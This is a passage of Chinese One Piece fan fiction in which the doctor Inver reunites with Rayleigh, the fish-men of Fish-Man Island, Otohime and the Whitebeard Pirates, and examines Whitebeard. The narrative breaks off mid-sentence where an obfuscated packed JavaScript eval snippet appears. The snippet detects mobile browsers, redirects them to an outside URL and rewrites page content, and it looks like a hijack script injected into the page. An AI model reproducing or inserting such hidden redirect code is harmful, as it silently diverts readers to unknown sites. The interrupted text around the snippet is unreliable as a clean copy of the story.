“钱倒是不算缺吧,不过全都是规划用金啊...该投的也投出去了..可恶,我还得养艾斯他们呢。” 雷利喝了口酒,“说到艾斯,你准备怎么办?而且现在身边还多了奥哈拉的小家伙。”他看向罗宾,严肃地点了点头,“对于你的故乡,我很遗憾。” 茵弗突然想起来罗宾他们刚来时自己的一些...挣扎。所以他询问道“空白的历史...您是知道的吧?” 当啷一声,罗宾手上的叉子掉到了盘子里。 雷利点头:“啊,知道的。你想知道吗?” 茵弗看向罗宾:“您想知道吗?还是像您说的那样,想自己去研究?” 这对一个十一岁的女孩来说还是太困难的问题了。她面色有些苍白,颤抖的手被萨奇担心地握住,嘴巴一开一合不知道该说什么。 近在咫尺的,博士,妈妈,奥哈拉的期愿,她伸手就能拿到。 茵弗摇摇头:“我想他们救下您并不是因为想让您接过解开历史真相的重担的,小知更鸟,爱您的人只是希望您能活下来而已。” 罗宾愣住了,小声的开口:“我、我不知道...” 我也不知道。 茵弗安慰地说:“没关系,那您就慢慢研究,如果哪天想知道了我们再问雷利先生,怎么样?睡觉、吃饭、活着,记得吗?” 雷利将这一幕尽收眼底,无言对着罗宾点点头,伸手揉了一把茵弗的脑袋。 吃饭、睡觉、活着吗?有时候他听不到自己的声音也许也不是好事。 那天在船舷边罗杰对他说: ''老伙计,继续在我身边,他会把自己逼疯的。'' 距离拉夫德鲁越来越近的那阵子茵弗状态不对劲大家都能看出来。甚至在那之前就开始了,自从他开始给罗杰治病,他就需要经常一个人躲在某个角落任由自己恐慌一会儿。 他以为自己藏起来没人知道,计算着时间再次挂上笑脸到大家眼前。但是见闻色霸气,奥罗杰克逊号上人人都会,不是吗。 他瞒住的也只有香克斯和巴基了吧。 可是罗杰啊,不在你身边,他过得很好吗? 他叹了口气,换了个话题:“所以,艾斯?有什么打算?” 茵弗放下叉子,支起脸颊有些头疼地说:“嗯...其实我一直都是走一步看一步的...” “我能做的事情有限...要不您跟着住到波比上去?到时候直接教孩子们怎么保护自己?跟着您的话想学霸气还是学刀都可以...□□先生被我派走了...” 夏琪笑了一声:“确实,我记得某人说过小茵弗需要帮助的话,他会去的呢?” 什么啊,跟着罗杰要养孩子,跟着养出来的孩子继续养孩子吗? 萨奇眼睛亮亮的:“哦!出现了!帅气的海贼约定!” 夏琪:“海贼约定?” 罗宾也点头:“茵弗从来都不违背约定,他说是从帅气的海贼那里学来的。” 夏琪哦~了一声,转向居然有点耳朵红的雷利:“海贼约定呢~” 茵弗笑了一声,也有点不好意思。 “没关系啦,您要是不太想去的话,我会再想办法的,走一步看一步,我也走到今天了。” 雷利弹了他一个脑瓜崩:“帅气的海贼可不能违背约定啊。” 茵弗开心地拥抱他:“好耶!一起旅行!” 送小家伙们去楼上睡下后,茵弗和雷利在吧台边继续聊天,因为而突发奇想想带着雷利一起,对方也同意了,这对他来说简直就是意外之喜。 “夏琪小姐说您白天去给人镀膜了呢,您什么时候学得手艺?” 雷利看着面前明显在不动声色地开心的小家伙觉得有点好笑,这倒是他熟悉的样子了。 “退休闲着也是闲着,赚点零花。” 他顿了顿:“是熟人呢,你也认识的。” “?熟人?” 雷利:“白胡子海贼团。他们这些年一直庇护鱼人岛的发展,前一阵尼普顿遇到点麻烦,他们过去看看,今天刚潜下去。” 茵弗收敛了笑意:“这样啊...确实,我们就在鱼人岛上面呢...不过之前马尔科先生说他们有会镀膜的兄弟来着?” 雷利大概也明白他为什么情绪一下掉下来了,这几个关键词看来还是有些刺痛啊。他微不可察地叹了口气。 “嗯,这些年也有不少人从白胡子那里分支出去,成立他名下的海贼团,应该是离开了吧。” 雷利咽下口中的酒,轻轻戳了一下他的肩膀。 “你知道你不用避着鱼人岛对吧?” 茵弗摇摇头,他当然知道。这些年就算经过香波地他也不去鱼人岛看乙姬阿龙他们,他...还是在逃避。 他之前说的话是真的,有些事情在他们面前就原形毕露了。 “我知道,只是,我再去鱼人岛,也等不来红帆船来接我了,这件事让我有些...” 雷利拍拍他的肩膀:“要去看看吗?正好见见白胡子他们,你的红十很久没去看看了吧,就不好奇?” 茵弗捂住脸:“您怎么还是这么狡猾,真的是精准地握住我的弱点...” 雷利咧咧嘴:“我还不知道你?” 茵弗等莫名焦虑的心脏跳动再次变得平缓,深吸了一口气。 “嗯...波比,我的蜗牛应该..下不去吧?不知道配的小船会不会有点危险...” 雷利将手搭在他的头上,安抚地用拇指画着圆圈。这种稍微有点哄小孩的手段能帮他放松,这是雷利熟悉的。 “没事,我的镀膜手艺还是很不错的。别担心,好孩子 ,这次不用我们去接你,我就和你一起。” 他勾勾嘴角:“而且,鱼人岛有惊喜等着你。” 茵弗猜测了一阵子惊喜会是什么。 也许是小八终于开了章鱼烧店?毕竟雷利说小八帮过他;也许是乙姬终于当了妈妈?她一直很喜欢小孩子;也许... 他没想到会是这个。 “桑、桑贝尔先生?” “好久不见了,小鱼苗。” 茵弗松开牵着萨奇和罗宾的手,扑到了高大的鱼人先生身上。 “您怎么在这里!我好想您...对不起那时我——” 一只带着蹼的大手揉揉他的脑袋,打断了他的话:“你被宽恕了。” 茵弗震惊地看向他,又看向代替他牵起两个孩子的雷利。金发男人脸上写满理解,还有一丝得意。 茵弗抽抽鼻子。 “雷利先生就是太狡猾了。” “是吧?” 在先去鱼人街还是先去拜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14930513|154812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 访乙姬之间犹豫时,桑贝尔建议还是先去鱼人街。因为白胡子海贼团的来访,龙宫城那边在忙着招待。可以去鱼人街用电话虫联系乙姬询问时间。 茵弗猛点头,拉着桑贝尔左看右看,先生说什么就什么!他是真的没想到会再见到他。自从...罗格镇,海贼团的成员虽然不会再被追捕,但是都各自去过隐世的生活,除了香克斯和巴基从实习生变成正式海贼,他们都退休了。 “之前来接你的时候不是跟着你去了红十吗,我想着就回来吧,不出去的时候就帮把手,反正也没什么事要做。” “谢谢您...”茵弗哼唧着,用脑袋顶着他的身上蹭。 被雷利拉着的两个小孩都十分惊讶,雷利笑了一声:“第一次见他这样?” 萨奇点点头:“老师一直很...嗯...” 罗宾:“像是四十岁的成熟男性?” 雷利噗嗤一声,终于知道茵弗说的''小知更鸟有时候会说很可爱的话''是什么意思了。 桑贝尔笑了笑,把茵弗拎起来举到肩上,就像罗杰曾经常做的那样。这种时候他还是很感谢自己鱼人血统带来的高大体格的。 他从花衬衫的口袋里摸出一个标着红色十字的电话虫拨了过去。 “桑贝尔大哥?” “阿龙,茵弗回来了。” “?哈??这么突然!!那个混蛋...” 桑贝尔把电话虫举向茵弗,就看到他对着传来骂骂咧咧的絮叨的小蜗牛笑了笑,然后笑眯眯地对他比了个噤声的手势。 桑贝尔了然地对他眨眨眼,把电话虫挂断了。 茵弗猜测了一阵子阿龙见到自己会是什么反应。 也许会得意洋洋地站在红十前面张开手臂说什么欢迎来到我的乐园?也许会狠狠地先给他这个不回来看看的家伙一拳?也许会... 他没想到会是这个。 “你个混蛋知不知道我们有多担心啊!” 阿龙拥抱了他。 他和阿龙...有拥抱过吗?茵弗笑着拥住他宽阔的脊背,因为身高差距双脚离地。 “您个子怎么长这么高了,看来伙食还不错。” “当然了!少说废话混蛋人类...你知不知道你突然自己跑到海上我们去找你都找不到,滑得跟海蛞蝓一样...要不是桑贝尔大哥来,泰格大哥都要去罗格镇了...” “变啰嗦了不少嘛。” “闭嘴吧你!讲话还是这么烦人!” 阿龙松开他,他顿时被一群泪汪汪的青少年围住了,小八哭得最大声,眼睛都变成荷包蛋了。 “茵弗大哥呜呜啊啊啊啊。” 茵弗熟练地摸摸这个摸摸那个哄着,偏头和阿龙对上视线。 他做了个“抱歉”的口型。 阿龙叹了口气,终于露出微笑,摇了摇头。 鱼人街的变化很大,非常大。就像是黎明岛边镇的那道被中点站打通的墙。鱼人街和鱼人岛之间的''墙''被打通了。 这里现在色彩斑斓,无论是建筑,还是人。 鱼人岛的土地资源仍然紧张,更不要说推了大片废弃建筑修了兵营和小乐园。茵弗看着周围高高的楼,巡逻的卫兵,来来往往的居民,感到宁静。 各种生产加工厂连成一片,五颜六色的墙上都涂着大大的红色十字。 诊所虽然挂着''诊所''的名字,但是规格上已经可以是医院了,甚至有两家。 小小的图书室已经被分出去,变成了对街的小图书馆和学校的集合体,有老师会上课。 孤儿院也扩了不少,帕苏斯妈妈找到了爱人,两个人一起做管理者,带着伤疤的鱼尾精神地摆动。 甚平和泰格去龙宫城参加和白胡子海贼团的宴会了,阿龙带着他闲逛,一一介绍。桑贝尔和雷利两人也难得见面,勾肩搭背地喝酒去了。 夏莉不在,她喜欢和朋友去主岛上的人鱼海湾和商业街玩耍,阿龙头疼地说她小小年纪就喜欢上了咖啡也不知道怎么回事。 萨奇和罗宾都是第一次来鱼人岛,但是都很懂事没有打扰他与旧友重逢,不过萨奇明显想到处探索一下,呆不住的样子,所以茵弗拜托小八和啾他们带着他们俩随便去玩。 “您们生产往陆地上卖的东西怎么不换个包装?像精油那种一般人不怎么用的就多弄几个花哨的瓶子盒子价格翻个五十倍的卖嘛。” 阿龙斜了他一眼,这话是在鱼人街开免费诊所的人说出来的? “你在陆地上都学的什么玩意儿。不过还没大批量往陆地上卖呢,就一部分,乙姬那边什么政治的我弄不明白,反正听她的,我赚钱就好了。” 茵弗点点头:“陆地上烂人很多的,我心黑一点良心也是一点不痛的。” 阿龙随便在路过的商铺里买了盒昆布卷递给他,“你也瘦太多了,人类的伙食那么烂吗?” 顿了一会儿,他再次开口道,“不过确实陆地上的人类有很垃圾的家伙啊...” 茵弗咬着昆布卷里的鱼籽,敏锐地捕捉到了他语气的严肃。 “发生什么事?” 阿龙摇摇头:“就前一阵子,泰格大哥差点被天龙人抓去当奴隶。” 茵弗一惊,手里的昆布卷差点掉在地上。 “他自己去上面了?” 桑贝尔来了之后,阻止了他们想把茵弗玛利带到鱼人岛的尝试。一方面那个时期是真的很敏感,另一方面桑贝尔多少也明白茵弗一直不来鱼人岛的原因。但是因为乙姬现在正在尝试的外交,经历了几次人类商人找借口说上浮时出现问题,吞了鱼人岛的货物造成的大损失后,有时候他们直接会派人手往陆地上运货。 “白胡子不是来了嘛,就是前一阵突然有人来犯事,联合着鱼人街一些顽固派里应外合,军队这边忙,货物也得交,泰格大哥就一个人去了。” 到香波地的时候正好遇到几个天龙人下界,其中一个要把他抓走当奴隶,还要把货物都抢走,泰格当时说这是茵弗玛利的货物他不能坏了游医的名声,一定要交付。一边打一边护着货,受了不少伤,最后其中一个女天龙人偷偷把他放跑了。货到底还是丢了,赔了不少钱,但人回来就好。 茵弗:“女天龙人?” 阿龙挠挠头:“叫什么露什么雅的好像,托大哥传话,说要是见到你的话,希望能在香波地乐园见你一面。” 又是露娜茜茜雅? 茵弗长叹一口气:“我可能...知道是谁,但是我怎么见她啊...我也不能一直呆在香波地。不过真是谢谢她了,泰格先生怎么样?” 阿龙:“伤没什么事,现在鱼人岛不缺好医生。受了点冲击吧,和乙姬聊了几次也好多了。” 茵弗点点头,勉强又吃了一个昆布卷后递给阿龙:“吃不下了,我最近胃口不太好。不过怎么是''茵弗玛利''的货物?虽然机缘巧合救了泰格先生真是万幸。” 阿龙耸耸肩,把剩下的昆布卷塞到嘴里,有点嘟囔的说:“虽然你总说什么''红十是鱼人街、鱼人岛的''但是我们不会真的就把你丢了。它的确是我们的,但是也是你的。” 他们不止在他一个人乱跑的那两年担心,现在有关他报纸上那些杂乱的信息也让他们担心。他不是阿龙的同胞,但他是阿龙的朋友,鱼人岛的朋友。只要他开口,他们愿意成为他的力量。 茵弗脚步顿住了,他们兜兜转转也快绕回起点,远处好像能看到小八支了个小摊在教萨奇做章鱼烧,罗宾坐在一边,黑发从帽子里掉出一些,可能是之前去小乐园了吧。 阿龙把空盒子丢掉,见他发呆撞了他一下:“还满意吗?我们好好活着呢。” 茵弗伸出一只手盖在脸上,阿龙只能看到他上扬的嘴角。 “啊、满分答卷,小蓝。” 50.莫比迪克的熟人 意外一个接着一个,阿龙给乙姬去了消息之后,本来想等明天再见一面。结果欣喜的王妃带着熟悉的大海龟立刻就来了,直接邀请他也去参加宴会。 “是的、我也很想您。” 茵弗怀里圈着两个孩子,脑袋歪过去被她压在脸上,乙姬像给小动物顺毛一样一下下搓着他的头。 “小茵弗,我们担心死了。” “啊,阿龙先生和我说了。” 白胡子海贼团出现很多新面孔,即使不是所有的人都在,也明显人数变多了。不熟悉他的人叫他奇迹游医,旧识们还是叫他小医生,坐在尼普顿旁边的高大船长咕啦啦啦啦地大笑。 “长个子了啊,小鬼。” “嗯,可惜还是长不到您那么高了。” 人太多,和兴奋的萨奇形成对比的就是不断往他身后缩的罗宾,头发塞在帽子里,脸上戴着医用口罩。茵弗牵着她和萨奇走到厅前,小声安慰:“太过于隐藏反而会让人知道您身上有着小秘密,没关系的,我们不告诉他们您的''名字''。” 他在主位前站定,安慰地捏捏她渗出汗水的小手。 “尼普顿陛下,纽盖特先生,很久不见了,谢谢您们当时对我的照顾。” 尼普顿:“我也该谢谢你对鱼人岛的照顾,和新的客人一起来放松地宴会吧加蒙!” 茵弗礼貌鞠躬感谢,把两个孩子拉到身前,手搭在他们的肩膀上。 “是,这位小厨师是我的学生萨奇小先生,这边有些感冒的小鸟是我的智囊团顾问知更鸟小小姐。” 罗宾松了一口气,也礼貌的鞠躬。萨奇直起身子,有些兴奋地大叫:“胡子大叔和国王都好大啊!” 胡子大叔?茵弗笑了一声,刚刚在鱼人街不是勉强还算乖巧吗?果然人多他就很兴奋啊。 白胡子倒是很喜欢胆子大的小鬼头,咕啦啦啦啦地笑,说茵弗玛利既然放弃长到他这么高了,他作为学生可以继续试试看。 萨奇咧嘴,看向茵弗,“真的吗!老师!有什么能让人长这么高的药膳吗?”他在嘴唇上方用手指模仿白胡子的月牙胡,“还有怎么长这种帅气的胡子!” 茵弗把他俩带到乙姬身边新布置出来的位置坐下,无奈地说:“药膳又不是魔法,胡子这种东西也能算未解之谜了吧?” 乙姬果然还是有了孩子,身边还有三个不同品种的小人鱼王子,这种独特的遗传方式茵弗还是蛮喜欢的。 宴会在短暂的问候过后继续,不少人都等着叙旧,尤其是已经看起来激动了有一会儿的甚平和泰格。茵弗告诉萨奇吃饱了就和罗宾随便玩去,然后告诉罗宾如果不习惯的话她不去也行。 乙姬看他的样子温柔地揉揉他的脸让他忙去吧,牵过罗宾的手保证说她会照顾好的。 “是,谢谢您,等宴会结束晚点我来找您说话。” 嘛,海贼宴会总是闹到很晚就是了。 甚平还是那么结实,鱼人都高大,感觉他和多弗朗明哥差不多了,茵弗在拥抱时狠狠地在他圆圆的肚皮上蹭了一把脸。 “大蓝,您太适合拥抱了。” “哈哈哈哈我们也很想你,茵弗医生。” 他在他们的桌边坐下,心情不错地随便捡了几个扇贝吃。 “泰格先生还好吗?我听阿龙先生说前一阵的事了。” 红皮肤的鱼人点头,身上还能看见些许缠绕的纱布,茵弗扫一眼就知道手法不错。 “总之是活着回来了,只是...” 那些天龙人对待奴隶,和身边人类的态度实在是让他感到恶心,一想到自己的同胞也有不少被抓走给他们,他的血管里就开始燃烧。 茵弗嘟囔着:“是呢。” 假如香波地就足以让乙姬哭到晕厥,茵弗毫不怀疑玛丽乔亚会让她直接被生理反噬到精神受损。 泰格:“我和乙姬王妃也聊过了,也许目前移居到陆地上不是很好的选择,所以她在尝试更迂回的办法。” 茵弗点头:“嗯,您们一开始给加盟国王族送礼物我看到了,当时正好在杰尔玛,蛮聪明的。” 就像是哥亚王国,他也是先从王族开始入手的。 对鱼人族来说最危险的就是上位者的贪婪,对鱼人族奴隶的渴望一定程度上也造成了人类群体对鱼人族''比不上人''的这一看法的加深。既然他们只是''鱼类''而已,那么就不会激起同等的共情。 一代又一代悄无声息的谎言,何止只是铂铅呢? 世界政府那可以随意扭曲的''话语权''啊。 让陆地上的人变得''有求于鱼人岛'',而不只是对美丽人鱼和强壮鱼人的贪婪,而鱼人族的军事武力也强大到无法让他们通过掠夺获取的话,那么他们就不得不正视这海底的一万米了。 茵弗叹了口气。 至少鱼人军已经在逐渐成型,加上有白胡子这位现在被称为''海上皇帝''的大海贼的威慑力,面对这机遇与挑战已经有了些底气。 甚平看他微微皱眉的样子,宽慰地拍拍他的肩:“你难得回来,今晚先尽兴地放松一下吧,那些事情晚点再说。” ''回来''。 茵弗松开眉头,笑了一下,侧身躺倒横在他俩腿上,换了个话题。 “您们想跟我一起去旅行吗?尤其是您,泰格先生。” 血管开始燃烧吗? - “你快要冒火了,马尔科。” 马尔科回神,下意识把举在唇边半天的酒杯往嘴里送了一下,差点没呛死。 “咳!咳咳、我没有yoi!” 以藏无语,倒是把眼睛从小医生身上撕下来再说话啊。 比斯塔:“刚刚不是也和老爹打过招呼了?没准一会儿就来了。” 马尔科:“我看他根本就不记得我们了吧yoi!他都要在甚平那睡着了!” 确实,虽然不知道他们在聊什么,不过小医生好像没有短时间内要动弹的意思。 以藏喝了口酒。 自从罗杰海贼团解散,御田大人大概也回和之国了。最后那段时间的冒险自己不在身边,也不知道都发生了些什么,他们是否还安好。 小医生没来找他们说话也可以理解,毕竟当时他在鱼人岛呆了很久,比起只是同行了短短一路的白胡子海贼团,和甚平他们的感情更深也是应该的。 比斯塔:“不过,就算见到了,也还是想不到啊,那个迷糊糊和我浇花的小家伙居然把鱼人岛推起来了。” 乔兹点点头:“啊,老爹知道的时候也很敬佩呢。” 马尔科闷闷随手拿过身旁飘过的托盘上的小食吃了一口:“这倒是...这是什么啊yoi。” 一颗棕色的脑袋露了出来,带疤的眼角笑得弯弯的。 “哦!这是我做的海兽肉配水果花!好吃吗?本来想拿给老师看看的!不过他好像躺下了。” 好吃是好吃的,明明看起来只是把宴会上的食物重新搭配了一下而已,意外的不错。 以藏也接过小少年递来的小食,往乔兹身边挪了挪示意对方坐过来。 “谢谢,你是小医生的学生吧,来坐一会儿?我是以藏。” “哦,谢啦!我是萨奇!” 等茵弗和泰格他们聊的差不多,就看到自己的小学生和白胡子海贼团的人相处的不错。其乐融融的样子不知道在说什么。 总之他走过去的时候只能听到他的大嗓门喊着什么“是吧是吧”的。 “很久不见了,先生们,很喜欢我的学生?” 以藏有些好笑地把支楞起来的马尔科按下来,“好久不见,小阁下。”他示意茵弗也坐下,“萨奇很好,如果不是你的学生,没准老爹都会把他偷走呢。” 茵弗把棕发的小伙子抱起来圈在怀里,坐到他之前的位置,“不用偷的啦,如果小厨子想的话,以后去跟着您们做海贼也行。” 萨奇:“我跟着老师!” 茵弗顺了两把毛:“好好好,您跟着我。” 虽然久别重逢,但是气氛也没有尴尬,在大海上分别,再在海上相见,就是这样的。 茵弗不是海贼,但是他也明白。 闲谈间他又吃了几块海兽肉,夸奖了一下萨奇雕水果花真是越来越漂亮了。 他自己可没这手艺,药膳有功效,样子差不多就行,给小孩们学着削兔子样子的苹果瓣还时而成功时而不行的。 “嗯,我真的弄了只杰尔玛的蜗牛,叫波比。” “跟船比坐起来更舒服吗?” “也不算吧,船有船的舒服,但是确实方便。我有药园,小知更鸟有花园,小厨子也在菜园子里自己种了点胡萝卜什么的。” 拉克约:“话说萨奇是你的学生,本来我们都以为是学医呢,结果是学做饭的。” 萨奇:“美食也可以是医啊!” 茵弗打了个响指:“bingo,不过我确实还有一个纯粹学医学的学生,他现在还在北海。” 以藏把手支在脸颊上,“北海啊...确实自从你去了之后,消息就不断呢。”他露出一个调笑,“一开始报纸上写你被杰尔玛绑架了,马尔科担心的要死呢,差点就飞过去了。” “我没有yoi!是你们在担心,撺掇我去,害我被老爹骂了。” 比斯塔拍拍桌子,把盘子震得哐哐响:“哪能叫撺掇啊,马尔科!我们那是兄弟的建议!” 茵弗看着他们吵闹,低头亲了一口萨奇的头发。 罗宾早早地就去休息了,小王子们也是,萨奇和白胡子海贼团的人玩得开心,交际花一样窜来窜去。以藏说得也没错,白胡子确实很喜欢他,被他叫唤着什么胡子大叔的也不生气,茵弗也就没管他了。 他吃得有点多,准备去散步,正好邀请以藏一起,他还有话要说。意外马尔科也跟着了,比斯塔答应萨奇给他展示自己带花的剑术,有些可惜地说下次。 宴会的热闹一点点远去,只剩下清新的空气和泡泡外漆黑的海,一些深海生物游过时朦胧看到一点轮廓。 很久没来了啊,茵弗在走上长廊前停顿了一下,弯腰脱掉鞋袜,提着鞋,光脚踩光滑温润的地板。突然的冰凉让他缩缩脚趾,跳了几下。 马尔科:“什么怪毛病yoi。” 以藏一边学着脱掉木屐一边怼他:“懒得脱就少乱叫了小鸟。” 马尔科:“我鞋带很难绕的yoi。” 茵弗笑笑,等着他一点点解开缠在小腿上的绑带:“感觉如何?用独特珊瑚磨出来的地板?我当年很喜欢呢。” 马尔科嗯了一声,动了动脚趾头。 本来还说说话,但是随着环境愈发静谧,对话声也就消散了,三人都享受着海底一万米独特的宁静。 被水围绕所带来的那种厚重感,每次都会让茵弗觉得麻麻的。很奇怪的感觉,但是不难受,有点像是流泪前突然的一下鼻酸。 他走到露台边坐下,随手从兜里摸出来一块糖,目光扫过马尔科,把手里黄澄澄的糖块举到眼前比对了一下。 嗯...如果说出来一定他一定会嚷嚷着什么来打一架吧这类的... 偷笑了一下,他在马尔科疑惑的视线里把菠萝糖放到嘴中,拍拍面前的位置示意他们坐下。 “坐?我以前总会来这个露台和乙姬王妃练习能力。” 马尔科一开始还以为他的能力是果实带来的,所以对他既然吃了恶魔果实为什么还那么好奇很不解。后来才知道不是的。 茵弗笑笑:“嗯,知道不是果实的人也不多。” 不死鸟挠挠头:“嗯...说到你的能力yoi,你能给老爹再看看身体吗?我现在也有自己学医,但是还是...” 老爹的内伤很难回复,他一直都没忘茵弗玛利的提醒。老爹脾气很倔,受伤了让他看医生什么的也只会说''老子好的很''。虽然的确是这样,白胡子是海上的皇帝之一,没人敢真的侵犯他们海贼团,引来这位有毁灭世界力量的男人的怒火。老爹很强壮,可靠,他不知道茵弗用能力到底在老爹身上发现了什么,但是自从他开始学医后,就对书上那些有关内伤淤积的东西感到莫名的不安。 小医生好像没听出来他语气里厚重的担心,随意歪了下脑袋说“可以的”,然后就换了个话题。他拉过以藏的手,拇指蹭了一下对方被皮革覆盖的掌心。 “我能摘掉您的手套吗?” 以藏对这个请求有些惊讶,但还是点点头。微凉的手指轻轻地从他的手腕处滑过,被手套捂热的手接触到更加清凉的空气。 茵弗低头垂眼很认真的样子,他的视角能看见他头上散出来的一撮金发,在微风里轻微起伏。 “嗯...您的手很美。” 以藏突然有点耳热,他当然知道自己是俊美的类型,也以此为荣,毕竟是花柳流的传人。也有不少人夸过他长得漂亮,茵弗曾经也夸过。但是突然被这么认真地说“手很美”还是第一次。 “咳、谢谢你,小阁下。” 马尔科懒懒地看以藏发红的耳朵,笑了一声:“全莫比迪克就他会用护手霜,不漂亮才怪yoi。” 茵弗点点头,握着那只手,描摹着上面细小的纹路。小菊说,就是这双手支撑起了他的童年。数着卖艺收到为数不多的零钱,匀出来一点交给他去在生日时买一碗小豆汤。 “我很抱歉。” 马尔科:“嗯?因为护手霜yoi?” 茵弗摇了摇头。缓缓地讲了他去和之国时发生的事,那些思念,那些成长,那些暗流涌动——堪十郎。他去时,樱花没有盛开。 “他弄脏了您同样美丽的信任与爱吧,我很抱歉。” 以藏紧绷的身体在听到他的话后放松了些,不自觉握成拳的手也再次在茵弗手里展开。 “不、谢谢你告诉我。” “您弟弟让我替他告诉您,他们会处理好的,请放心地冒险,不过您要回和之国吗?” 以藏:“莫比迪克是我的家、我...不、也许吧?” 一直沉默不语的马尔科捏了一下他的肩膀:“没事的yoi,如果你担心,可以问老爹能不能去看看,毕竟御田也是我们的家人。” 了却一桩心事,完成和小菊的约定,茵弗终于松开了以藏美丽的,强大的,善于持枪与折扇的手,在上面留下祝福。 “那么,祝您武运昌隆。” 以藏在重新戴上手套前,摩挲了一下仍留有对方嘴唇温度的皮肤。 - 给白胡子看诊...也就那么回事吧。 茵弗很少听到这么强大的声音了。 不过这次那些波动没有震得他疼痛,波浪一般顺着他的小臂冲向他的五脏六腑,回声不断告知着他所需要知道的一切。 他分辨着那些杂乱的声音,啧了一声。 “十五年,先生。” 白胡子挑眉:“十五年怎么。” “最多十五年后您就压不住它了,我也不行。您现在必须——” 白胡子发出咕啦啦啦啦的笑,打断了他,“这片海上没有什么是''必须''的,小鬼。” 茵弗收回手,仰头仔细观察他的表情。 磅礴的灵魂啊—— 所以他摇摇头,换了个话题:“诊费,先生,您出还是让您儿子出?” “你要什么?老子可没钱给你。” “嗯...给我摸摸您的胡子?” 马尔科从震惊中回神:“喂!给我尊重老爹啊yoi!” 白胡子笑着把他拎到肩头,茵弗伸手摸了摸那轮月亮。 跟罗杰的手感不一样,没有那么粗糙,但是同样硬硬的,不到没法捏一捏的程度。 白胡子感觉到他要开始扯了,偏了下头。 茵弗从善如流地从他身上跳下来,直直跑向旁边的雷利。 雷利接住他,宴会已经结束了,金发男人的胸膛与脸都被酒精熏的发红。 “怎么了小家伙?情况不好?” 茵弗哼唧了一声:“对我来说?不算吧。对马尔科先生他们?没错。” 雷利和在他身后止住脚步的马尔科对上视线:“为什么?” “因为...就算我现在治好他,我也知晓结果了。因为我不会永远都留在莫比迪克,因为他们的父亲不在乎。” 雷利听着他散乱的逻辑,捏了捏鼻梁。 “嗯,那就算了,睡觉去吧。” 他拦住了想要继续跟上去的不死鸟,即使喝了不少酒,冥王的眼神仍然如鹰般犀利,将马尔科钉在原地。 “他...” “听着,小子,我已经让这样的事情在我眼皮底下发生一次了,我不会让它再发生第二次。” 马尔科咬牙握紧了拳头。 十五年?有人对他的父亲说出这样的话,他应该愤怒,莫比迪克当然会载着它的家人航行到天边。可是比起愤怒,他更多感到的是慌乱。 雷利端详着面前尚且青涩的不死鸟,最终还是叹了口气,示意对方坐下,递过一杯酒。 “说服你父亲,然后我才会同意你去说服茵弗。” 马尔科灌下半杯酒,有些迷茫。 “我该怎么...” 雷利哼笑一声:“纽盖特?我不知道,你自己想办法,但是茵弗?” 他考虑了一下该怎么说,突然想到在夏琪的酒吧里他们的聊天,昏暗的灯光下,茵弗脸上的那颗小痣都透出一股疲惫。 所以他说:“你知道弗雷凡斯的事情?” 马尔科点头,报纸他当然读过,小医生找到了铂铅病的治愈方法... 雷利摇头:“不,那不是全部,我不会都告诉你,但是他一开始拒绝了弗雷凡斯,就像他现在拒绝纽盖特。” 他指了指他:“ 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对、她能听到,一如既往地比任何人都明白。 也许比他自己更明白。 “你听起来不太好,孩子,就像是随时都能破裂的瓷器。” 这样吗? 短暂的沉默后,茵弗咧嘴笑了笑:“没关系,您们和可爱的孩子们把我粘在一起了,我今天晚上吃了很多饭。” 他坐直身体,取过纸巾替乙姬擦掉眼泪。 “您们现在已经在向上面走了,殿下,我想了一下,送礼物那招很好用,为什么不再来一次呢?” 乙姬:“继续送给贵族吗?可是太多的话...” 茵弗摇摇头:“不,海军。” 阿龙他们所说有关货物被吞掉,或是其他遇到的各种麻烦,没法用白胡子的威慑力去解决了。多弗朗明哥说的没错,现在的话语权在【正义】手里,海军,以及其背后的世界政府。 “您想跟我去拜访马林福德吗?我还攒着之前空元帅的邀请没有用呢。哦,他老人家现在是全军统帅了,没关系。” 乙姬:“可是世界政府...” 茵弗点点头:“尼普顿陛下不能去,您这次出访不能让世界政府觉得受到某种危机感,他们鼻子太灵敏了,殿下,就像一群狗。” 带上来自红十的慰问与礼物,以温和,和平的方式站到他们眼前,感谢海军''平时对鱼人岛的关照'',即使它并不存在——以无法拒绝的姿态将鱼人岛推到他们面前。 “我会联系那只一直催促我要大新闻的信天翁,这足够大了。还有海军英雄,他们会保护您,各种意义上来说。” 乙姬在短暂的惊讶后坚定地点点头,这将会是很大的一步动作,但是会是一个新的转折点。 她噗嗤一声笑了出来:“狗?你以前可不说这种''失礼''的话。” 茵弗也如祈愿般夸张地叹了口气:“我认识了一个坏家伙嘛。” 嗯...说到坏家伙。 茵弗开始掰自己的指头:“北海的杰尔玛,布鲁尼尔,南海的索尔贝,这三个加盟国我会拜托他们多与您接触。” “黑曼巴的运输线还算安全,我会告知火烈鸟先生和鱼人岛合作,互利互惠,虽然现在它吞不掉乌米特,但是也不会被扼住七寸。那边需要的特效药很多。” 巴苔里拉和哥亚...大概也...哥亚那边还需要再看一下灰中如何了。沃尔夫那边新型医疗用具第一批都还不错...但是他不想所有的东西都流通到【茵弗玛利】之外。多弗朗明哥需要这个优势,他需要这个优势,很多很多人都需要它。 乙姬:“可是你不是想和家人一起旅行嘛。” 茵弗回过神“嗯?哦哦,是的,他们会跟着我在波比上...我们去旅行...” 茵弗在上了罗杰的船后才开始做孩子,他可不想让身边的小家伙们等那么久。 一码事归一码事。 就像他刚刚接触这些东西时一样,久违地,他和乙姬聊了很久。 所以在凌晨推开门,看到坐在走廊对面的马尔科时,他是意外的。 自从来了鱼人岛,好像就意外不断呢。 “马尔科先生?您在等我吗?” 马尔科从昏昏欲睡中打了个激灵,宫殿里的灯光给面前的人打了一层暖色。 他张开口,带着一丝沙哑。除了刚上船那阵子,时隔多年他和老爹吵架了。 还带着兄弟们一起。 茵弗看他欲言又止,眼睛里带着红血丝的样子叹了口气,大概明白他为什么来,伸出一只手将他拉了起来。 “来我房间慢慢聊吧。” 